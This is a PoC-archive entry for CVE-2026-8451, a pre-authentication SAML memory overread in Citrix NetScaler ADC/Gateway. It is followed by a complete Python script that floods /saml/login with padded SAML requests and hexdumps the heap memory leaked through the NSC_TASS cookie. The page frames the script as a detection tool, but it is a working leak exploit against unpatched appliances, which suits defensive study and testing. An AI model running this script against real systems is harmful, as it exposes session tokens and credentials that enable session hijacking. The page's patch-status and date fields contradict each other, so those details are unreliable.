PoC Archive PoC Archive
High CVE-2026-8451 unpatched

Citrix NetScaler ADC/Gateway Pre-Auth SAML Memory Overread — "CitrixBleed"-style Leak (CVE-2026-8451)

by Aliz (@alizTheHax0r) of watchTowr Labs · 2026-07-03

CVSS 7.5/10
Severity
High
CVE
CVE-2026-8451
Category
network
Affected product
Citrix NetScaler ADC and NetScaler Gateway
Affected versions
14.1 before 14.1-72.61; 13.1 before 13.1-63.18; NetScaler ADC FIPS before 14.1-72.61 FIPS; NetScaler ADC FIPS and NDcPP before 13.1-37.272
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06-30
Author / ResearcherAliz (@alizTheHax0r) of watchTowr Labs
CVE / AdvisoryCVE-2026-8451
Categorynetwork
SeverityHigh
CVSS Score7.5–8.8 (source-dependent)
StatusIncomplete PoC (memory-leak/detection primitive only — no session-hijack automation)
Tagsmemory-disclosure, SAML, Citrix, NetScaler, ADC, Gateway, citrixbleed, unauthenticated, active-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemCitrix NetScaler ADC and NetScaler Gateway
Versions Affected14.1 before 14.1-72.61; 13.1 before 13.1-63.18; NetScaler ADC FIPS before 14.1-72.61 FIPS; NetScaler ADC FIPS and NDcPP before 13.1-37.272
Language / PlatformPython (PoC) targeting NetScaler’s SAML authentication endpoint
Authentication RequiredNo
Network Access RequiredYes (HTTPS to NetScaler /saml/login endpoint)

Summary

CVE-2026-8451 is a pre-authentication out-of-bounds memory read in Citrix NetScaler ADC/Gateway’s SAML request parser, in the same vulnerability class as the infamous 2023 “CitrixBleed” (CVE-2023-4966). By posting a specially-sized, malformed SAMLRequest to /saml/login, an unauthenticated attacker can cause the appliance to leak adjacent heap memory back inside the NSC_TASS response cookie. Citrix disclosed and patched this on 2026-06-30 (advisory CTX696604); exploitation in the wild was observed within roughly 24 hours of disclosure. This archived PoC — watchTowr Labs’ official “Detection Artifact Generator” — reliably demonstrates the memory-disclosure primitive (varying the padding size to walk across heap block sizes and printing leaked bytes as a hexdump) but is explicitly not a full exploit chain: it does not parse leaked session tokens/credentials or automate turning the leak into an authenticated session takeover.


Vulnerability Details

Root Cause

NetScaler’s SAML AuthnRequest parser performs an out-of-bounds heap read when handling a crafted, oversized/malformed request; the resulting adjacent-memory bytes are echoed back to the client embedded in the NSC_TASS cookie’s ACSURL= field.

Attack Vector

  1. Construct a base64-encoded, URL-percent-encoded SAMLRequest body with a variable amount of padding (' ' * n) to probe different heap allocation sizes.
  2. POST the crafted request to {target}/saml/login.
  3. Extract the NSC_TASS response cookie, base64-decode it, and locate content following the ACSURL= marker — this is leaked adjacent heap memory.
  4. Repeat across a range of padding sizes to sample a variety of heap blocks, printing each as a hexdump.

Impact

Unauthenticated disclosure of adjacent process heap memory, which — depending on what happens to be resident at leak time — could expose session tokens, credentials, or other sensitive in-memory data usable for follow-on session hijacking (as with the original CitrixBleed). This PoC demonstrates the leak primitive only; it does not automate extraction of a usable session/credential from the leaked bytes.


Environment / Lab Setup

Target:   Citrix NetScaler ADC/Gateway < 14.1-72.61 / < 13.1-63.18
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See watchTowr-vs-Netscaler-CVE-2026-8451.py in this folder.

1
python3 watchTowr-vs-Netscaler-CVE-2026-8451.py https://<target>

Posts a series of crafted SAML AuthnRequest payloads with varying padding to /saml/login, extracts the NSC_TASS cookie from each response, and hexdumps any leaked heap bytes found after the ACSURL= marker.

This PoC demonstrates memory disclosure only — it is not a working session-hijack or full authentication-bypass exploit.


Detection & Indicators of Compromise

Signs of compromise:

  • Bursts of /saml/login requests with varying payload sizes from a single source in a short window
  • Session hijacking or admin-console access inconsistent with normal authentication flow shortly after such probing

Remediation

ActionDetail
Primary fixApply the Citrix fix per advisory CTX696604 (NetScaler ADC/Gateway 14.1-72.61+ / 13.1-63.18+)
MitigationRestrict /saml/login and other authentication endpoints to expected client sources where feasible; monitor for anomalous session reuse
CleanupFollowing patching, consider invalidating all active sessions given the potential for prior session-token leakage

References


Notes

Mirrored from https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451 on 2026-07-03. Official watchTowr Labs research repo (author: Aliz / @alizTheHax0r) — genuine and credible, but deliberately scoped as a “Detection Artifact Generator” rather than a full exploit. Treat any third-party claims of a complete session-hijack/RCE chain for this CVE with skepticism until corroborated by a named researcher or vendor writeup.

watchTowr-vs-Netscaler-CVE-2026-8451.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import argparse
import base64

import requests
import ssl
from requests.adapters import HTTPAdapter
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Netscaler-CVE-2026-8451.py
        (*) CVE-2026-8451 Citrix Netscaler memory overread Detection Artifact Generator

          - Aliz (@alizTheHax0r) of watchTowr (@watchTowrcyber)
"""

# Some netscalers have cipers that Python/openssl doesn't use by default, so add them.
# https://stackoverflow.com/questions/76966914/how-to-set-default-ciphers-for-python-requests-library-when-using-urllib3-ver
class CustomSSLAdapter(HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        ssl_context = ssl.create_default_context()
        ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
        ssl_context.check_hostname = False

        # See urllib3.poolmanager.SSL_KEYWORDS for all available keys.
        kwargs["ssl_context"] = ssl_context

        return super().init_poolmanager(*args, **kwargs)

# Print some bytes in a nice hexdump
# https://stackoverflow.com/questions/25005505/pythonic-way-to-hex-dump-files
def hexdump(data: bytes):
    def to_printable_ascii(byte):
        return chr(byte) if 32 <= byte <= 126 else "."

    offset = 0
    while offset < len(data):
        chunk = data[offset : offset + 16]
        hex_values = " ".join(f"{byte:02x}" for byte in chunk)
        ascii_values = "".join(to_printable_ascii(byte) for byte in chunk)
        print(f"{offset:08x}  {hex_values:<48}  |{ascii_values}|")
        offset += 16

def attack(target: str):
    sess = requests.Session()
    sess.mount('https://', CustomSSLAdapter())

    # Vary the size of the memory allocation to make sure we get a variety of heap blocks
    for n in range(1024, 1, -1):
        samlReq = """<samlp:AuthnRequest """ + (' ' * n) + """id=""" + str(n) + """
<saml2:issuer>watchTowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
AssertionConsumerServiceURL="""

        samlReqB64 = base64.b64encode(samlReq.encode())

        samlReqURL = ''.join(map(lambda x: f"%{x:02x}", samlReqB64))
        resp = sess.post(f'{target}/saml/login', data={"SAMLRequest": samlReqURL}, verify=False, allow_redirects=False)
        resp.raise_for_status()
        tassCookie = resp.cookies.get('NSC_TASS', None)
        if tassCookie is not None:
            tassCookieBytes = base64.b64decode(tassCookie)
            leakedBytes = tassCookieBytes[tassCookieBytes.find(b"ACSURL=") + 7:]

            if len(leakedBytes) > 0:
                print("Leaked bytes:")
                hexdump(leakedBytes)

if __name__ == "__main__":
    print(banner)

    usage = """python3 watchTowr-vs-Netscaler-CVE-2026-8451.py <HOST>
        """
    parser = argparse.ArgumentParser(description='CVE-2026-8451 Citrix Netscaler Detection Artifact Generator', usage=usage)

    parser.add_argument('target', type=str, help='Host, eg. "https://192.168.1.1:8000"')

    args = parser.parse_args()
    target = args.target
    attack(target)